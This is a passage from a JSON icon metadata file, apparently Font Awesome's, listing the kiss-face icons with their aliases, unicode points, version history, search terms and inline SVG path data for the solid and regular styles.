        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M464 256A208 208 0 1 0 48 256a208 208 0 1 0 416 0zM0 256a256 256 0 1 1 512 0A256 256 0 1 1 0 256zm349.5 52.4c18.7-4.4 35.9 12 25.5 28.1C350.4 374.6 306.3 400 255.9 400s-94.5-25.4-119.1-63.5c-10.4-16.1 6.8-32.5 25.5-28.1c28.9 6.8 60.5 10.5 93.6 10.5s64.7-3.7 93.6-10.5zM144.4 208a32 32 0 1 1 64 0 32 32 0 1 1 -64 0zm165.8 21.7c-7.6 8.1-20.2 8.5-28.3 .9s-8.5-20.2-.9-28.3c14.5-15.5 35.2-22.3 54.6-22.3s40.1 6.8 54.6 22.3c7.6 8.1 7.1 20.7-.9 28.3s-20.7 7.1-28.3-.9c-5.5-5.8-14.8-9.7-25.4-9.7s-19.9 3.8-25.4 9.7z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M464 256A208 208 0 1 0 48 256a208 208 0 1 0 416 0zM0 256a256 256 0 1 1 512 0A256 256 0 1 1 0 256zm349.5 52.4c18.7-4.4 35.9 12 25.5 28.1C350.4 374.6 306.3 400 255.9 400s-94.5-25.4-119.1-63.5c-10.4-16.1 6.8-32.5 25.5-28.1c28.9 6.8 60.5 10.5 93.6 10.5s64.7-3.7 93.6-10.5zM144.4 208a32 32 0 1 1 64 0 32 32 0 1 1 -64 0zm165.8 21.7c-7.6 8.1-20.2 8.5-28.3 .9s-8.5-20.2-.9-28.3c14.5-15.5 35.2-22.3 54.6-22.3s40.1 6.8 54.6 22.3c7.6 8.1 7.1 20.7-.9 28.3s-20.7 7.1-28.3-.9c-5.5-5.8-14.8-9.7-25.4-9.7s-19.9 3.8-25.4 9.7z"
      }
    },
    "free": ["regular", "solid"]
  },
  "face-kiss": {
    "aliases": {
      "names": ["kiss"],
      "unicodes": {
        "composite": ["1f617"],
        "secondary": ["10f596"]
      }
    },
    "changes": [
      "5.1.0",
      "5.1.1",
      "5.11.0",
      "5.11.1",
      "6.0.0-beta1",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "beso",
        "emoticon",
        "face",
        "kiss",
        "kissing face",
        "love",
        "smooch"
      ]
    },
    "styles": ["solid", "regular"],
    "unicode": "f596",
    "label": "Face Kiss",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767583,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M256 512A256 256 0 1 0 256 0a256 256 0 1 0 0 512zm48.7-198.3c4.3 5.1 7.3 11.4 7.3 18.3s-3.1 13.2-7.3 18.3c-4.3 5.2-10.1 9.7-16.7 13.4c-2.7 1.5-5.7 3-8.7 4.3c3.1 1.3 6 2.7 8.7 4.3c6.6 3.7 12.5 8.2 16.7 13.4c4.3 5.1 7.3 11.4 7.3 18.3s-3.1 13.2-7.3 18.3c-4.3 5.2-10.1 9.7-16.7 13.4C274.7 443.1 257.4 448 240 448c-3.6 0-6.8-2.5-7.7-6s.6-7.2 3.8-9l0 0 0 0 0 0 0 0 .2-.1c.2-.1 .5-.3 .9-.5c.8-.5 2-1.2 3.4-2.1c2.8-1.9 6.5-4.5 10.2-7.6c3.7-3.1 7.2-6.6 9.6-10.1c2.5-3.5 3.5-6.4 3.5-8.6s-1-5-3.5-8.6c-2.5-3.5-5.9-6.9-9.6-10.1c-3.7-3.1-7.4-5.7-10.2-7.6c-1.4-.9-2.6-1.6-3.4-2.1c-.4-.2-.7-.4-.9-.5l-.2-.1 0 0 0 0 0 0c-2.5-1.4-4.1-4.1-4.1-7s1.6-5.6 4.1-7l0 0 0 0 0 0 0 0 0 0 .2-.1 .3-.2 .6-.4c.8-.5 2-1.2 3.4-2.1c2.8-1.9 6.5-4.5 10.2-7.6c3.7-3.1 7.2-6.6 9.6-10.1c2.5-3.5 3.5-6.4 3.5-8.6s-1-5-3.5-8.6c-2.5-3.5-5.9-6.9-9.6-10.1c-3.7-3.1-7.4-5.7-10.2-7.6c-1.4-.9-2.6-1.6-3.4-2.1l-.4-.3-.5-.3-.2-.1 0 0 0 0 0 0c-3.2-1.8-4.7-5.5-3.8-9s4.1-6 7.7-6c17.4 0 34.7 4.9 47.9 12.3c6.6 3.7 12.5 8.2 16.7 13.4zM144.4 208a32 32 0 1 1 64 0 32 32 0 1 1 -64 0zm192-32a32 32 0 1 1 0 64 32 32 0 1 1 0-64z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M256 512A256 256 0 1 0 256 0a256 256 0 1 0 0 512zm48.7-198.3c4.3 5.1 7.3 11.4 7.3 18.3s-3.1 13.2-7.3 18.3c-4.3 5.2-10.1 9.7-16.7 13.4c-2.7 1.5-5.7 3-8.7 4.3c3.1 1.3 6 2.7 8.7 4.3c6.6 3.7 12.5 8.2 16.7 13.4c4.3 5.1 7.3 11.4 7.3 18.3s-3.1 13.2-7.3 18.3c-4.3 5.2-10.1 9.7-16.7 13.4C274.7 443.1 257.4 448 240 448c-3.6 0-6.8-2.5-7.7-6s.6-7.2 3.8-9l0 0 0 0 0 0 0 0 .2-.1c.2-.1 .5-.3 .9-.5c.8-.5 2-1.2 3.4-2.1c2.8-1.9 6.5-4.5 10.2-7.6c3.7-3.1 7.2-6.6 9.6-10.1c2.5-3.5 3.5-6.4 3.5-8.6s-1-5-3.5-8.6c-2.5-3.5-5.9-6.9-9.6-10.1c-3.7-3.1-7.4-5.7-10.2-7.6c-1.4-.9-2.6-1.6-3.4-2.1c-.4-.2-.7-.4-.9-.5l-.2-.1 0 0 0 0 0 0c-2.5-1.4-4.1-4.1-4.1-7s1.6-5.6 4.1-7l0 0 0 0 0 0 0 0 0 0 .2-.1 .3-.2 .6-.4c.8-.5 2-1.2 3.4-2.1c2.8-1.9 6.5-4.5 10.2-7.6c3.7-3.1 7.2-6.6 9.6-10.1c2.5-3.5 3.5-6.4 3.5-8.6s-1-5-3.5-8.6c-2.5-3.5-5.9-6.9-9.6-10.1c-3.7-3.1-7.4-5.7-10.2-7.6c-1.4-.9-2.6-1.6-3.4-2.1l-.4-.3-.5-.3-.2-.1 0 0 0 0 0 0c-3.2-1.8-4.7-5.5-3.8-9s4.1-6 7.7-6c17.4 0 34.7 4.9 47.9 12.3c6.6 3.7 12.5 8.2 16.7 13.4zM144.4 208a32 32 0 1 1 64 0 32 32 0 1 1 -64 0zm192-32a32 32 0 1 1 0 64 32 32 0 1 1 0-64z"
      },
      "regular": {
        "last_modified": 1684767583,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M464 256A208 208 0 1 0 48 256a208 208 0 1 0 416 0zM0 256a256 256 0 1 1 512 0A256 256 0 1 1 0 256zm304.7 25.7c4.3 5.1 7.3 11.4 7.3 18.3s-3.1 13.2-7.3 18.3c-4.3 5.2-10.1 9.7-16.7 13.4c-2.7 1.5-5.7 3-8.7 4.3c3.1 1.3 6 2.7 8.7 4.3c6.6 3.7 12.5 8.2 16.7 13.4c4.3 5.1 7.3 11.4 7.3 18.3s-3.1 13.2-7.3 18.3c-4.3 5.2-10.1 9.7-16.7 13.4C274.7 411.1 257.4 416 240 416c-3.6 0-6.8-2.5-7.7-6s.6-7.2 3.8-9l0 0 0 0 0 0 0 0 .2-.1c.2-.1 .5-.3 .9-.5c.8-.5 2-1.2 3.4-2.1c2.8-1.9 6.5-4.5 10.2-7.6c3.7-3.1 7.2-6.6 9.6-10.1c2.5-3.5 3.5-6.4 3.5-8.6s-1-5-3.5-8.6c-2.5-3.5-5.9-6.9-9.6-10.1c-3.7-3.1-7.4-5.7-10.2-7.6c-1.4-.9-2.6-1.6-3.4-2.1l-.8-.5-.1-.1-.2-.1 0 0 0 0 0 0c-2.5-1.4-4.1-4.1-4.1-7s1.6-5.6 4.1-7l0 0 0 0 0 0 0 0 0 0 .2-.1c.2-.1 .5-.3 .9-.5c.8-.5 2-1.2 3.4-2.1c2.8-1.9 6.5-4.5 10.2-7.6c3.7-3.1 7.2-6.6 9.6-10.1c2.5-3.5 3.5-6.4 3.5-8.6s-1-5-3.5-8.6c-2.5-3.5-5.9-6.9-9.6-10.1c-3.7-3.1-7.4-5.7-10.2-7.6c-1.4-.9-2.6-1.6-3.4-2.1c-.4-.2-.7-.4-.9-.5l-.2-.1 0 0 0 0 0 0c-3.2-1.8-4.7-5.5-3.8-9s4.1-6 7.7-6c17.4 0 34.7 4.9 47.9 12.3c6.6 3.7 12.5 8.2 16.7 13.4zM144.4 208a32 32 0 1 1 64 0 32 32 0 1 1 -64 0zm192-32a32 32 0 1 1 0 64 32 32 0 1 1 0-64z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M464 256A208 208 0 1 0 48 256a208 208 0 1 0 416 0zM0 256a256 256 0 1 1 512 0A256 256 0 1 1 0 256zm304.7 25.7c4.3 5.1 7.3 11.4 7.3 18.3s-3.1 13.2-7.3 18.3c-4.3 5.2-10.1 9.7-16.7 13.4c-2.7 1.5-5.7 3-8.7 4.3c3.1 1.3 6 2.7 8.7 4.3c6.6 3.7 12.5 8.2 16.7 13.4c4.3 5.1 7.3 11.4 7.3 18.3s-3.1 13.2-7.3 18.3c-4.3 5.2-10.1 9.7-16.7 13.4C274.7 411.1 257.4 416 240 416c-3.6 0-6.8-2.5-7.7-6s.6-7.2 3.8-9l0 0 0 0 0 0 0 0 .2-.1c.2-.1 .5-.3 .9-.5c.8-.5 2-1.2 3.4-2.1c2.8-1.9 6.5-4.5 10.2-7.6c3.7-3.1 7.2-6.6 9.6-10.1c2.5-3.5 3.5-6.4 3.5-8.6s-1-5-3.5-8.6c-2.5-3.5-5.9-6.9-9.6-10.1c-3.7-3.1-7.4-5.7-10.2-7.6c-1.4-.9-2.6-1.6-3.4-2.1l-.8-.5-.1-.1-.2-.1 0 0 0 0 0 0c-2.5-1.4-4.1-4.1-4.1-7s1.6-5.6 4.1-7l0 0 0 0 0 0 0 0 0 0 .2-.1c.2-.1 .5-.3 .9-.5c.8-.5 2-1.2 3.4-2.1c2.8-1.9 6.5-4.5 10.2-7.6c3.7-3.1 7.2-6.6 9.6-10.1c2.5-3.5 3.5-6.4 3.5-8.6s-1-5-3.5-8.6c-2.5-3.5-5.9-6.9-9.6-10.1c-3.7-3.1-7.4-5.7-10.2-7.6c-1.4-.9-2.6-1.6-3.4-2.1c-.4-.2-.7-.4-.9-.5l-.2-.1 0 0 0 0 0 0c-3.2-1.8-4.7-5.5-3.8-9s4.1-6 7.7-6c17.4 0 34.7 4.9 47.9 12.3c6.6 3.7 12.5 8.2 16.7 13.4zM144.4 208a32 32 0 1 1 64 0 32 32 0 1 1 -64 0zm192-32a32 32 0 1 1 0 64 32 32 0 1 1 0-64z"
      }
    },
    "free": ["regular", "solid"]
  },
  "face-kiss-beam": {
    "aliases": {
      "names": ["kiss-beam"],
      "unicodes": {
        "composite": ["1f619"],
        "secondary": ["10f597"]
      }
    },
    "changes": [
      "5.1.0",
      "5.11.0",
      "5.11.1",
      "6.0.0-beta1",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "beso",
        "emoticon",
        "eye",
        "face",
        "kiss",
        "kissing face with smiling eyes",
        "love",
        "smile",
        "smooch"
      ]
    },
    "styles": ["solid", "regular"],
    "unicode": "f597",
    "label": "Face Kiss Beam",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767583,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M256 512A256 256 0 1 0 256 0a256 256 0 1 0 0 512zm48.7-198.3c4.3 5.1 7.3 11.4 7.3 18.3s-3.1 13.2-7.3 18.3c-4.3 5.2-10.1 9.7-16.7 13.4c-2.7 1.5-5.7 3-8.7 4.3c3.1 1.3 6 2.7 8.7 4.3c6.6 3.7 12.5 8.2 16.7 13.4c4.3 5.1 7.3 11.4 7.3 18.3s-3.1 13.2-7.3 18.3c-4.3 5.2-10.1 9.7-16.7 13.4C274.7 443.1 257.4 448 240 448c-3.6 0-6.8-2.5-7.7-6s.6-7.2 3.8-9l0 0 0 0 0 0 0 0 .2-.1c.2-.1 .5-.3 .9-.5c.8-.5 2-1.2 3.4-2.1c2.8-1.9 6.5-4.5 10.2-7.6c3.7-3.1 7.2-6.6 9.6-10.1c2.5-3.5 3.5-6.4 3.5-8.6s-1-5-3.5-8.6c-2.5-3.5-5.9-6.9-9.6-10.1c-3.7-3.1-7.4-5.7-10.2-7.6c-1.4-.9-2.6-1.6-3.4-2.1c-.4-.2-.7-.4-.9-.5l-.2-.1 0 0 0 0 0 0c-2.5-1.4-4.1-4.1-4.1-7s1.6-5.6 4.1-7l0 0 0 0 0 0 0 0 0 0 .2-.1 .3-.2 .6-.4c.8-.5 2-1.2 3.4-2.1c2.8-1.9 6.5-4.5 10.2-7.6c3.7-3.1 7.2-6.6 9.6-10.1c2.5-3.5 3.5-6.4 3.5-8.6s-1-5-3.5-8.6c-2.5-3.5-5.9-6.9-9.6-10.1c-3.7-3.1-7.4-5.7-10.2-7.6c-1.4-.9-2.6-1.6-3.4-2.1l-.4-.3-.5-.3-.2-.1 0 0 0 0 0 0c-3.2-1.8-4.7-5.5-3.8-9s4.1-6 7.7-6c17.4 0 34.7 4.9 47.9 12.3c6.6 3.7 12.5 8.2 16.7 13.4zm-87.1-84.9l0 0 0 0-.2-.2c-.2-.2-.4-.5-.7-.9c-.6-.8-1.6-2-2.8-3.4c-2.5-2.8-6-6.6-10.2-10.3c-8.8-7.8-18.8-14-27.7-14s-18.9 6.2-27.7 14c-4.2 3.7-7.7 7.5-10.2 10.3c-1.2 1.4-2.2 2.6-2.8 3.4c-.3 .4-.6 .7-.7 .9l-.2 .2 0 0 0 0 0 0c-2.1 2.8-5.7 3.9-8.9 2.8s-5.5-4.1-5.5-7.6c0-17.9 6.7-35.6 16.6-48.8c9.8-13 23.9-23.2 39.4-23.2s29.6 10.2 39.4 23.2c9.9 13.2 16.6 30.9 16.6 48.8c0 3.4-2.2 6.5-5.5 7.6s-6.9 0-8.9-2.8l0 0 0 0zm160 0l0 0-.2-.2c-.2-.2-.4-.5-.7-.9c-.6-.8-1.6-2-2.8-3.4c-2.5-2.8-6-6.6-10.2-10.3c-8.8-7.8-18.8-14-27.7-14s-18.9 6.2-27.7 14c-4.2 3.7-7.7 7.5-10.2 10.3c-1.2 1.4-2.2 2.6-2.8 3.4c-.3 .4-.6 .7-.7 .9l-.2 .2 0 0 0 0 0 0c-2.1 2.8-5.7 3.9-8.9 2.8s-5.5-4.1-5.5-7.6c0-17.9 6.7-35.6 16.6-48.8c9.8-13 23.9-23.2 39.4-23.2s29.6 10.2 39.4 23.2c9.9 13.2 16.6 30.9 16.6 48.8c0 3.4-2.2 6.5-5.5 7.6s-6.9 0-8.9-2.8l0 0 0 0 0 0z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M256 512A256 256 0 1 0 256 0a256 256 0 1 0 0 512zm48.7-198.3c4.3 5.1 7.3 11.4 7.3 18.3s-3.1 13.2-7.3 18.3c-4.3 5.2-10.1 9.7-16.7 13.4c-2.7 1.5-5.7 3-8.7 4.3c3.1 1.3 6 2.7 8.7 4.3c6.6 3.7 12.5 8.2 16.7 13.4c4.3 5.1 7.3 11.4 7.3 18.3s-3.1 13.2-7.3 18.3c-4.3 5.2-10.1 9.7-16.7 13.4C274.7 443.1 257.4 448 240 448c-3.6 0-6.8-2.5-7.7-6s.6-7.2 3.8-9l0 0 0 0 0 0 0 0 .2-.1c.2-.1 .5-.3 .9-.5c.8-.5 2-1.2 3.4-2.1c2.8-1.9 6.5-4.5 10.2-7.6c3.7-3.1 7.2-6.6 9.6-10.1c2.5-3.5 3.5-6.4 3.5-8.6s-1-5-3.5-8.6c-2.5-3.5-5.9-6.9-9.6-10.1c-3.7-3.1-7.4-5.7-10.2-7.6c-1.4-.9-2.6-1.6-3.4-2.1c-.4-.2-.7-.4-.9-.5l-.2-.1 0 0 0 0 0 0c-2.5-1.4-4.1-4.1-4.1-7s1.6-5.6 4.1-7l0 0 0 0 0 0 0 0 0 0 .2-.1 .3-.2 .6-.4c.8-.5 2-1.2 3.4-2.1c2.8-1.9 6.5-4.5 10.2-7.6c3.7-3.1 7.2-6.6 9.6-10.1c2.5-3.5 3.5-6.4 3.5-8.6s-1-5-3.5-8.6c-2.5-3.5-5.9-6.9-9.6-10.1c-3.7-3.1-7.4-5.7-10.2-7.6c-1.4-.9-2.6-1.6-3.4-2.1l-.4-.3-.5-.3-.2-.1 0 0 0 0 0 0c-3.2-1.8-4.7-5.5-3.8-9s4.1-6 7.7-6c17.4 0 34.7 4.9 47.9 12.3c6.6 3.7 12.5 8.2 16.7 13.4zm-87.1-84.9l0 0 0 0-.2-.2c-.2-.2-.4-.5-.7-.9c-.6-.8-1.6-2-2.8-3.4c-2.5-2.8-6-6.6-10.2-10.3c-8.8-7.8-18.8-14-27.7-14s-18.9 6.2-27.7 14c-4.2 3.7-7.7 7.5-10.2 10.3c-1.2 1.4-2.2 2.6-2.8 3.4c-.3 .4-.6 .7-.7 .9l-.2 .2 0 0 0 0 0 0c-2.1 2.8-5.7 3.9-8.9 2.8s-5.5-4.1-5.5-7.6c0-17.9 6.7-35.6 16.6-48.8c9.8-13 23.9-23.2 39.4-23.2s29.6 10.2 39.4 23.2c9.9 13.2 16.6 30.9 16.6 48.8c0 3.4-2.2 6.5-5.5 7.6s-6.9 0-8.9-2.8l0 0 0 0zm160 0l0 0-.2-.2c-.2-.2-.4-.5-.7-.9c-.6-.8-1.6-2-2.8-3.4c-2.5-2.8-6-6.6-10.2-10.3c-8.8-7.8-18.8-14-27.7-14s-18.9 6.2-27.7 14c-4.2 3.7-7.7 7.5-10.2 10.3c-1.2 1.4-2.2 2.6-2.8 3.4c-.3 .4-.6 .7-.7 .9l-.2 .2 0 0 0 0 0 0c-2.1 2.8-5.7 3.9-8.9 2.8s-5.5-4.1-5.5-7.6c0-17.9 6.7-35.6 16.6-48.8c9.8-13 23.9-23.2 39.4-23.2s29.6 10.2 39.4 23.2c9.9 13.2 16.6 30.9 16.6 48.8c0 3.4-2.2 6.5-5.5 7.6s-6.9 0-8.9-2.8l0 0 0 0 0 0z"
      },
      "regular": {
        "last_modified": 1684767583,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M464 256A208 208 0 1 0 48 256a208 208 0 1 0 416 0zM0 256a256 256 0 1 1 512 0A256 256 0 1 1 0 256zm304.7 41.7c4.3 5.1 7.3 11.4 7.3 18.3s-3.1 13.2-7.3 18.3c-4.3 5.2-10.1 9.7-16.7 13.4c-2.7 1.5-5.7 3-8.7 4.3c3.1 1.3 6 2.7 8.7 4.3c6.6 3.7 12.5 8.2 16.7 13.4c4.3 5.1 7.3 11.4 7.3 18.3s-3.1 13.2-7.3 18.3c-4.3 5.2-10.1 9.7-16.7 13.4C274.7 427.1 257.4 432 240 432c-3.6 0-6.8-2.5-7.7-6s.6-7.2 3.8-9l0 0 0 0 0 0 0 0 .2-.1c.2-.1 .5-.3 .9-.5c.8-.5 2-1.2 3.4-2.1c2.8-1.9 6.5-4.5 10.2-7.6c3.7-3.1 7.2-6.6 9.6-10.1c2.5-3.5 3.5-6.4 3.5-8.6s-1-5-3.5-8.6c-2.5-3.5-5.9-6.9-9.6-10.1c-3.7-3.1-7.4-5.7-10.2-7.6c-1.4-.9-2.6-1.6-3.4-2.1c-.4-.2-.7-.4-.9-.5l-.2-.1 0 0 0 0 0 0c-2.5-1.4-4.1-4.1-4.1-7s1.6-5.6 4.1-7l0 0 0 0 0 0 0 0 0 0 .2-.1c.2-.1 .5-.3 .9-.5c.8-.5 2-1.2 3.4-2.1c2.8-1.9 6.5-4.5 10.2-7.6c3.7-3.1 7.2-6.6 9.6-10.1c2.5-3.5 3.5-6.4 3.5-8.6s-1-5-3.5-8.6c-2.5-3.5-5.9-6.9-9.6-10.1c-3.7-3.1-7.4-5.7-10.2-7.6c-1.4-.9-2.6-1.6-3.4-2.1c-.4-.2-.7-.4-.9-.5l-.2-.1 0 0 0 0 0 0c-3.2-1.8-4.7-5.5-3.8-9s4.1-6 7.7-6c17.4 0 34.7 4.9 47.9 12.3c6.6 3.7 12.5 8.2 16.7 13.4zm-87.1-68.9l0 0 0 0-.2-.2c-.2-.2-.4-.5-.7-.9c-.6-.8-1.6-2-2.8-3.4c-2.5-2.8-6-6.6-10.2-10.3c-8.8-7.8-18.8-14-27.7-14s-18.9 6.2-27.7 14c-4.2 3.7-7.7 7.5-10.2 10.3c-1.2 1.4-2.2 2.6-2.8 3.4c-.3 .4-.6 .7-.7 .9l-.2 .2 0 0 0 0 0 0c-2.1 2.8-5.7 3.9-8.9 2.8s-5.5-4.1-5.5-7.6c0-17.9 6.7-35.6 16.6-48.8c9.8-13 23.9-23.2 39.4-23.2s29.6 10.2 39.4 23.2c9.9 13.2 16.6 30.9 16.6 48.8c0 3.4-2.2 6.5-5.5 7.6s-6.9 0-8.9-2.8l0 0 0 0zm160 0l0 0-.2-.2c-.2-.2-.4-.5-.7-.9c-.6-.8-1.6-2-2.8-3.4c-2.5-2.8-6-6.6-10.2-10.3c-8.8-7.8-18.8-14-27.7-14s-18.9 6.2-27.7 14c-4.2 3.7-7.7 7.5-10.2 10.3c-1.2 1.4-2.2 2.6-2.8 3.4c-.3 .4-.6 .7-.7 .9l-.2 .2 0 0 0 0 0 0c-2.1 2.8-5.7 3.9-8.9 2.8s-5.5-4.1-5.5-7.6c0-17.9 6.7-35.6 16.6-48.8c9.8-13 23.9-23.2 39.4-23.2s29.6 10.2 39.4 23.2c9.9 13.2 16.6 30.9 16.6 48.8c0 3.4-2.2 6.5-5.5 7.6s-6.9 0-8.9-2.8l0 0 0 0 0 0z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M464 256A208 208 0 1 0 48 256a208 208 0 1 0 416 0zM0 256a256 256 0 1 1 512 0A256 256 0 1 1 0 256zm304.7 41.7c4.3 5.1 7.3 11.4 7.3 18.3s-3.1 13.2-7.3 18.3c-4.3 5.2-10.1 9.7-16.7 13.4c-2.7 1.5-5.7 3-8.7 4.3c3.1 1.3 6 2.7 8.7 4.3c6.6 3.7 12.5 8.2 16.7 13.4c4.3 5.1 7.3 11.4 7.3 18.3s-3.1 13.2-7.3 18.3c-4.3 5.2-10.1 9.7-16.7 13.4C274.7 427.1 257.4 432 240 432c-3.6 0-6.8-2.5-7.7-6s.6-7.2 3.8-9l0 0 0 0 0 0 0 0 .2-.1c.2-.1 .5-.3 .9-.5c.8-.5 2-1.2 3.4-2.1c2.8-1.9 6.5-4.5 10.2-7.6c3.7-3.1 7.2-6.6 9.6-10.1c2.5-3.5 3.5-6.4 3.5-8.6s-1-5-3.5-8.6c-2.5-3.5-5.9-6.9-9.6-10.1c-3.7-3.1-7.4-5.7-10.2-7.6c-1.4-.9-2.6-1.6-3.4-2.1c-.4-.2-.7-.4-.9-.5l-.2-.1 0 0 0 0 0 0c-2.5-1.4-4.1-4.1-4.1-7s1.6-5.6 4.1-7l0 0 0 0 0 0 0 0 0 0 .2-.1c.2-.1 .5-.3 .9-.5c.8-.5 2-1.2 3.4-2.1c2.8-1.9 6.5-4.5 10.2-7.6c3.7-3.1 7.2-6.6 9.6-10.1c2.5-3.5 3.5-6.4 3.5-8.6s-1-5-3.5-8.6c-2.5-3.5-5.9-6.9-9.6-10.1c-3.7-3.1-7.4-5.7-10.2-7.6c-1.4-.9-2.6-1.6-3.4-2.1c-.4-.2-.7-.4-.9-.5l-.2-.1 0 0 0 0 0 0c-3.2-1.8-4.7-5.5-3.8-9s4.1-6 7.7-6c17.4 0 34.7 4.9 47.9 12.3c6.6 3.7 12.5 8.2 16.7 13.4zm-87.1-68.9l0 0 0 0-.2-.2c-.2-.2-.4-.5-.7-.9c-.6-.8-1.6-2-2.8-3.4c-2.5-2.8-6-6.6-10.2-10.3c-8.8-7.8-18.8-14-27.7-14s-18.9 6.2-27.7 14c-4.2 3.7-7.7 7.5-10.2 10.3c-1.2 1.4-2.2 2.6-2.8 3.4c-.3 .4-.6 .7-.7 .9l-.2 .2 0 0 0 0 0 0c-2.1 2.8-5.7 3.9-8.9 2.8s-5.5-4.1-5.5-7.6c0-17.9 6.7-35.6 16.6-48.8c9.8-13 23.9-23.2 39.4-23.2s29.6 10.2 39.4 23.2c9.9 13.2 16.6 30.9 16.6 48.8c0 3.4-2.2 6.5-5.5 7.6s-6.9 0-8.9-2.8l0 0 0 0zm160 0l0 0-.2-.2c-.2-.2-.4-.5-.7-.9c-.6-.8-1.6-2-2.8-3.4c-2.5-2.8-6-6.6-10.2-10.3c-8.8-7.8-18.8-14-27.7-14s-18.9 6.2-27.7 14c-4.2 3.7-7.7 7.5-10.2 10.3c-1.2 1.4-2.2 2.6-2.8 3.4c-.3 .4-.6 .7-.7 .9l-.2 .2 0 0 0 0 0 0c-2.1 2.8-5.7 3.9-8.9 2.8s-5.5-4.1-5.5-7.6c0-17.9 6.7-35.6 16.6-48.8c9.8-13 23.9-23.2 39.4-23.2s29.6 10.2 39.4 23.2c9.9 13.2 16.6 30.9 16.6 48.8c0 3.4-2.2 6.5-5.5 7.6s-6.9 0-8.9-2.8l0 0 0 0 0 0z"
      }
    },
    "free": ["regular", "solid"]
  },
  "face-kiss-wink-heart": {
    "aliases": {
      "names": ["kiss-wink-heart"],
      "unicodes": {
        "composite": ["1f618"],
        "secondary": ["10f598"]
      }
    },
    "changes": [
      "5.1.0",
      "5.11.0",
      "5.11.1",
      "6.0.0-beta1",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "beso",
        "emoticon",
        "face",
        "face blowing a kiss",
        "kiss",
        "love",
        "smooch"
      ]
    },
    "styles": ["solid", "regular"],
    "unicode": "f598",
    "label": "Face Kiss Wink Heart",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767583,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M498 339.7c9.1-26.2 14-54.4 14-83.7C512 114.6 397.4 0 256 0S0 114.6 0 256S114.6 512 256 512c35.4 0 69.1-7.2 99.7-20.2c-4.8-5.5-8.5-12.2-10.4-19.7l-22.9-89.3c-10-39 11.8-80.9 51.8-92.1c37.2-10.4 73.8 10.1 87.5 44c12.7-1.6 25.1 .4 36.2 5zM296 332c0 6.9-3.1 13.2-7.3 18.3c-4.3 5.2-10.1 9.7-16.7 13.4c-2.7 1.5-5.7 3-8.7 4.3c3.1 1.3 6 2.7 8.7 4.3c6.6 3.7 12.5 8.2 16.7 13.4c4.3 5.1 7.3 11.4 7.3 18.3s-3.1 13.2-7.3 18.3c-4.3 5.2-10.1 9.7-16.7 13.4C258.7 443.1 241.4 448 224 448c-3.6 0-6.8-2.5-7.7-6s.6-7.2 3.8-9l0 0 0 0 0 0 0 0 .2-.1c.2-.1 .5-.3 .9-.5c.8-.5 2-1.2 3.4-2.1c2.8-1.9 6.5-4.5 10.2-7.6c3.7-3.1 7.2-6.6 9.6-10.1c2.5-3.5 3.5-6.4 3.5-8.6s-1-5-3.5-8.6c-2.5-3.5-5.9-6.9-9.6-10.1c-3.7-3.1-7.4-5.7-10.2-7.6c-1.4-.9-2.6-1.6-3.4-2.1l-.6-.4-.3-.2-.2-.1 0 0 0 0 0 0c-2.5-1.4-4.1-4.1-4.1-7s1.6-5.6 4.1-7l0 0 0 0 0 0 0 0 0 0 .2-.1c.2-.1 .5-.3 .9-.5c.8-.5 2-1.2 3.4-2.1c2.8-1.9 6.5-4.5 10.2-7.6c3.7-3.1 7.2-6.6 9.6-10.1c2.5-3.5 3.5-6.4 3.5-8.6s-1-5-3.5-8.6c-2.5-3.5-5.9-6.9-9.6-10.1c-3.7-3.1-7.4-5.7-10.2-7.6c-1.4-.9-2.6-1.6-3.4-2.1c-.4-.2-.7-.4-.9-.5l-.2-.1 0 0 0 0 0 0c-3.2-1.8-4.7-5.5-3.8-9s4.1-6 7.7-6c17.4 0 34.7 4.9 47.9 12.3c6.6 3.7 12.5 8.2 16.7 13.4c4.3 5.1 7.3 11.4 7.3 18.3zM176.4 176a32 32 0 1 1 0 64 32 32 0 1 1 0-64zm194.8 57.6c-17.6-23.5-52.8-23.5-70.4 0c-5.3 7.1-15.3 8.5-22.4 3.2s-8.5-15.3-3.2-22.4c30.4-40.5 91.2-40.5 121.6 0c5.3 7.1 3.9 17.1-3.2 22.4s-17.1 3.9-22.4-3.2zM434 352.3c-6-23.2-28.8-37-51.1-30.8s-35.4 30.1-29.5 53.4l22.9 89.3c2.2 8.7 11.2 13.9 19.8 11.4l84.9-23.8c22.2-6.2 35.4-30.1 29.5-53.4s-28.8-37-51.1-30.8l-20.2 5.6-5.4-21z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
